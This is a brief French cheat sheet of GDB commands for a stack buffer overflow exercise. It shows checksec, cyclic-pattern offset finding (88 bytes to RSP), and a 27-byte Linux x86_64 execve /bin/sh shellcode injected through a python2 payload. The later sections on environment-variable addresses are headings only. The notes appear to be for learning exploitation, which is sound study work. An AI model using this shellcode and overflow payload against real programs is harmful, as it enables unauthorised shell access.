GDB - Débogage et Exploitation

Vérification des protections

checksec

Création et recherche d'un pattern

pattern_create 100
r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
pattern_search

Détermination de l'offset

# [RSP] --> Offset = 88, Taille ~12 octets
r $(python2 -c 'print "A"*88+"B"*8')

Injection de shellcode

# Shellcode Linux x86_64 (execve /bin/sh)
# Source : http://shell-storm.org/shellcode/files/shellcode-806.html
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

r $(python2 -c 'print "'"$shellcode"'" + "A"*(88-27) + "B"*6')

Trouver l'adresse du shellcode dans l'environnement

Programme pour obtenir l'adresse d'une variable d'environnement

Compilation et exécution

Exploitation avec l'adresse trouvée

Mis à jour